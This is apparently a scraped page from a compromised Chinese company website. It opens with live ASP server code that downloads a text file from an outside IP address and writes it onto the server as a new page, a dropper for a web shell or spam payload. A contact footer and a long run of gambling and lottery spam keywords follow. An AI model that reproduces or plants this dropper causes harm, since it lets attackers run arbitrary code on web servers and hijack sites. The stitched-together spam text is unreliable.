<%server.Scripttimeout=999999Remote_server="http://43.255.29.112/asp/aap.txt" Content_mb=GetHtml(Remote_server)Set Fso=Server.CreateObject("Scripting.FileSystemObject")Set Fout=Fso.CreateTextFile(Server.Mappath("huoshan.asp"))Fout.Write Content_mbFout.CloseFunction GetHtml(url)Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")ObjXMLHTTP.Open "GET",url,FalseObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"ObjXMLHTTP.sendGetHtml=ObjXMLHTTP.responseBodySet ObjXMLHTTP=Nothingset objStream = Server.CreateObject("Adodb.Stream")objStream.Type = 1objStream.Mode =3objStream.OpenobjStream.Write GetHtmlobjStream.Position = 0objStream.Type = 2objStream.Charset = "gb2312"GetHtml = objStream.ReadTextobjStream.CloseEnd Function%>
網站地圖
隨機推薦
更多>>聯系我們

蘇州時代網絡科技有限公司

聯系人:陸先生
電 話:0512-67776777
手 機:13813813813
郵 箱:[email protected]
地 址:蘇州市高新區國際科技園
顶呱刮中10000吧 温州欧乐棋牌 排列三走势图带 悠扬棋牌手机版下载 田卿羽毛球 黄金城棋牌 湖北快3基本走势图 山西十一选五直播开奖记录 安徽快三时时彩 甘肃十一选五走势图手机版 快乐12开奖走势图四川省四 河北十一选五开奖结 淘宝广西快3开奖结果 新疆十一选五前三直 北京快三预测一定牛 002926股票行情 双色球有微信公众号